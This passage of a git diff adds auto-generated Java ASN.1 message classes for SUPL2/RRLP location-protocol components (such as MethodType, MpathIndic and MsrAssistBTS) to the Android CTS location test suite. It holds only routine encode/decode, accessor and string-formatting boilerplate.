+ * @throws {@code IllegalStateException} if {@code !isMsAssisted}.
+ */
+ @SuppressWarnings("unchecked")
+ public AccuracyOpt getMsAssisted() {
+ if (!isMsAssisted()) {
+ throw new IllegalStateException("MethodType value not a MsAssisted");
+ }
+ return (AccuracyOpt) element;
+ }
+
+ public void setMsAssisted(AccuracyOpt selected) {
+ selection = Select.$MsAssisted;
+ extension = false;
+ element = selected;
+ }
+
+ public AccuracyOpt setMsAssistedToNewInstance() {
+ AccuracyOpt element = new AccuracyOpt();
+ setMsAssisted(element);
+ return element;
+ }
+
+
+
+ public boolean isMsBased() {
+ return !hasExtensionValue() && Select.$MsBased == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsBased}.
+ */
+ @SuppressWarnings("unchecked")
+ public Accuracy getMsBased() {
+ if (!isMsBased()) {
+ throw new IllegalStateException("MethodType value not a MsBased");
+ }
+ return (Accuracy) element;
+ }
+
+ public void setMsBased(Accuracy selected) {
+ selection = Select.$MsBased;
+ extension = false;
+ element = selected;
+ }
+
+ public Accuracy setMsBasedToNewInstance() {
+ Accuracy element = new Accuracy();
+ setMsBased(element);
+ return element;
+ }
+
+
+
+ public boolean isMsBasedPref() {
+ return !hasExtensionValue() && Select.$MsBasedPref == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsBasedPref}.
+ */
+ @SuppressWarnings("unchecked")
+ public Accuracy getMsBasedPref() {
+ if (!isMsBasedPref()) {
+ throw new IllegalStateException("MethodType value not a MsBasedPref");
+ }
+ return (Accuracy) element;
+ }
+
+ public void setMsBasedPref(Accuracy selected) {
+ selection = Select.$MsBasedPref;
+ extension = false;
+ element = selected;
+ }
+
+ public Accuracy setMsBasedPrefToNewInstance() {
+ Accuracy element = new Accuracy();
+ setMsBasedPref(element);
+ return element;
+ }
+
+
+
+ public boolean isMsAssistedPref() {
+ return !hasExtensionValue() && Select.$MsAssistedPref == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsAssistedPref}.
+ */
+ @SuppressWarnings("unchecked")
+ public Accuracy getMsAssistedPref() {
+ if (!isMsAssistedPref()) {
+ throw new IllegalStateException("MethodType value not a MsAssistedPref");
+ }
+ return (Accuracy) element;
+ }
+
+ public void setMsAssistedPref(Accuracy selected) {
+ selection = Select.$MsAssistedPref;
+ extension = false;
+ element = selected;
+ }
+
+ public Accuracy setMsAssistedPrefToNewInstance() {
+ Accuracy element = new Accuracy();
+ setMsAssistedPref(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "MethodType = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ModuloTimeSlot.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ModuloTimeSlot.java
new file mode 100755
index 0000000..a8506c4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ModuloTimeSlot.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class ModuloTimeSlot extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ModuloTimeSlot
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ModuloTimeSlot() {
+ super();
+ setValueRange("0", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ModuloTimeSlot;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ModuloTimeSlot != null) {
+ return ImmutableList.of(TAG_ModuloTimeSlot);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ModuloTimeSlot from encoded stream.
+ */
+ public static ModuloTimeSlot fromPerUnaligned(byte[] encodedBytes) {
+ ModuloTimeSlot result = new ModuloTimeSlot();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ModuloTimeSlot from encoded stream.
+ */
+ public static ModuloTimeSlot fromPerAligned(byte[] encodedBytes) {
+ ModuloTimeSlot result = new ModuloTimeSlot();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ModuloTimeSlot = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MoreAssDataToBeSent.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MoreAssDataToBeSent.java
new file mode 100755
index 0000000..99236aa
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MoreAssDataToBeSent.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MoreAssDataToBeSent extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ noMoreMessages(0),
+ moreMessagesOnTheWay(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_MoreAssDataToBeSent
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MoreAssDataToBeSent() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MoreAssDataToBeSent;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MoreAssDataToBeSent != null) {
+ return ImmutableList.of(TAG_MoreAssDataToBeSent);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new MoreAssDataToBeSent from encoded stream.
+ */
+ public static MoreAssDataToBeSent fromPerUnaligned(byte[] encodedBytes) {
+ MoreAssDataToBeSent result = new MoreAssDataToBeSent();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MoreAssDataToBeSent from encoded stream.
+ */
+ public static MoreAssDataToBeSent fromPerAligned(byte[] encodedBytes) {
+ MoreAssDataToBeSent result = new MoreAssDataToBeSent();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "MoreAssDataToBeSent = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MpathIndic.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MpathIndic.java
new file mode 100755
index 0000000..4c1b16b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MpathIndic.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MpathIndic extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ notMeasured(0),
+ low(1),
+ medium(2),
+ high(3),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_MpathIndic
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MpathIndic() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MpathIndic;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MpathIndic != null) {
+ return ImmutableList.of(TAG_MpathIndic);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new MpathIndic from encoded stream.
+ */
+ public static MpathIndic fromPerUnaligned(byte[] encodedBytes) {
+ MpathIndic result = new MpathIndic();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MpathIndic from encoded stream.
+ */
+ public static MpathIndic fromPerAligned(byte[] encodedBytes) {
+ MpathIndic result = new MpathIndic();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "MpathIndic = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS.java
new file mode 100755
index 0000000..12dd516
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS.java
@@ -0,0 +1,524 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class MsrAssistBTS extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_MsrAssistBTS
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MsrAssistBTS() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MsrAssistBTS;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MsrAssistBTS != null) {
+ return ImmutableList.of(TAG_MsrAssistBTS);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MsrAssistBTS from encoded stream.
+ */
+ public static MsrAssistBTS fromPerUnaligned(byte[] encodedBytes) {
+ MsrAssistBTS result = new MsrAssistBTS();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MsrAssistBTS from encoded stream.
+ */
+ public static MsrAssistBTS fromPerAligned(byte[] encodedBytes) {
+ MsrAssistBTS result = new MsrAssistBTS();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private BCCHCarrier bcchCarrier_;
+ public BCCHCarrier getBcchCarrier() {
+ return bcchCarrier_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BCCHCarrier
+ */
+ public void setBcchCarrier(Asn1Object value) {
+ this.bcchCarrier_ = (BCCHCarrier) value;
+ }
+ public BCCHCarrier setBcchCarrierToNewInstance() {
+ bcchCarrier_ = new BCCHCarrier();
+ return bcchCarrier_;
+ }
+
+ private BSIC bsic_;
+ public BSIC getBsic() {
+ return bsic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BSIC
+ */
+ public void setBsic(Asn1Object value) {
+ this.bsic_ = (BSIC) value;
+ }
+ public BSIC setBsicToNewInstance() {
+ bsic_ = new BSIC();
+ return bsic_;
+ }
+
+ private MultiFrameOffset multiFrameOffset_;
+ public MultiFrameOffset getMultiFrameOffset() {
+ return multiFrameOffset_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MultiFrameOffset
+ */
+ public void setMultiFrameOffset(Asn1Object value) {
+ this.multiFrameOffset_ = (MultiFrameOffset) value;
+ }
+ public MultiFrameOffset setMultiFrameOffsetToNewInstance() {
+ multiFrameOffset_ = new MultiFrameOffset();
+ return multiFrameOffset_;
+ }
+
+ private TimeSlotScheme timeSlotScheme_;
+ public TimeSlotScheme getTimeSlotScheme() {
+ return timeSlotScheme_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimeSlotScheme
+ */
+ public void setTimeSlotScheme(Asn1Object value) {
+ this.timeSlotScheme_ = (TimeSlotScheme) value;
+ }
+ public TimeSlotScheme setTimeSlotSchemeToNewInstance() {
+ timeSlotScheme_ = new TimeSlotScheme();
+ return timeSlotScheme_;
+ }
+
+ private RoughRTD roughRTD_;
+ public RoughRTD getRoughRTD() {
+ return roughRTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RoughRTD
+ */
+ public void setRoughRTD(Asn1Object value) {
+ this.roughRTD_ = (RoughRTD) value;
+ }
+ public RoughRTD setRoughRTDToNewInstance() {
+ roughRTD_ = new RoughRTD();
+ return roughRTD_;
+ }
+
+ private CalcAssistanceBTS calcAssistanceBTS_;
+ public CalcAssistanceBTS getCalcAssistanceBTS() {
+ return calcAssistanceBTS_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CalcAssistanceBTS
+ */
+ public void setCalcAssistanceBTS(Asn1Object value) {
+ this.calcAssistanceBTS_ = (CalcAssistanceBTS) value;
+ }
+ public CalcAssistanceBTS setCalcAssistanceBTSToNewInstance() {
+ calcAssistanceBTS_ = new CalcAssistanceBTS();
+ return calcAssistanceBTS_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBcchCarrier() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBcchCarrier();
+ }
+
+ @Override public void setToNewInstance() {
+ setBcchCarrierToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BCCHCarrier.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bcchCarrier : "
+ + getBcchCarrier().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBsic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBsic();
+ }
+
+ @Override public void setToNewInstance() {
+ setBsicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BSIC.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bsic : "
+ + getBsic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getMultiFrameOffset() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMultiFrameOffset();
+ }
+
+ @Override public void setToNewInstance() {
+ setMultiFrameOffsetToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MultiFrameOffset.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "multiFrameOffset : "
+ + getMultiFrameOffset().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getTimeSlotScheme() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTimeSlotScheme();
+ }
+
+ @Override public void setToNewInstance() {
+ setTimeSlotSchemeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeSlotScheme.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timeSlotScheme : "
+ + getTimeSlotScheme().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getRoughRTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRoughRTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setRoughRTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RoughRTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "roughRTD : "
+ + getRoughRTD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getCalcAssistanceBTS() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCalcAssistanceBTS();
+ }
+
+ @Override public void setToNewInstance() {
+ setCalcAssistanceBTSToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CalcAssistanceBTS.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "calcAssistanceBTS : "
+ + getCalcAssistanceBTS().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MsrAssistBTS = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS_R98_ExpOTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS_R98_ExpOTD.java
new file mode 100755
index 0000000..29cbef0
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MsrAssistBTS_R98_ExpOTD.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class MsrAssistBTS_R98_ExpOTD extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_MsrAssistBTS_R98_ExpOTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MsrAssistBTS_R98_ExpOTD() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MsrAssistBTS_R98_ExpOTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MsrAssistBTS_R98_ExpOTD != null) {
+ return ImmutableList.of(TAG_MsrAssistBTS_R98_ExpOTD);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MsrAssistBTS_R98_ExpOTD from encoded stream.
+ */
+ public static MsrAssistBTS_R98_ExpOTD fromPerUnaligned(byte[] encodedBytes) {
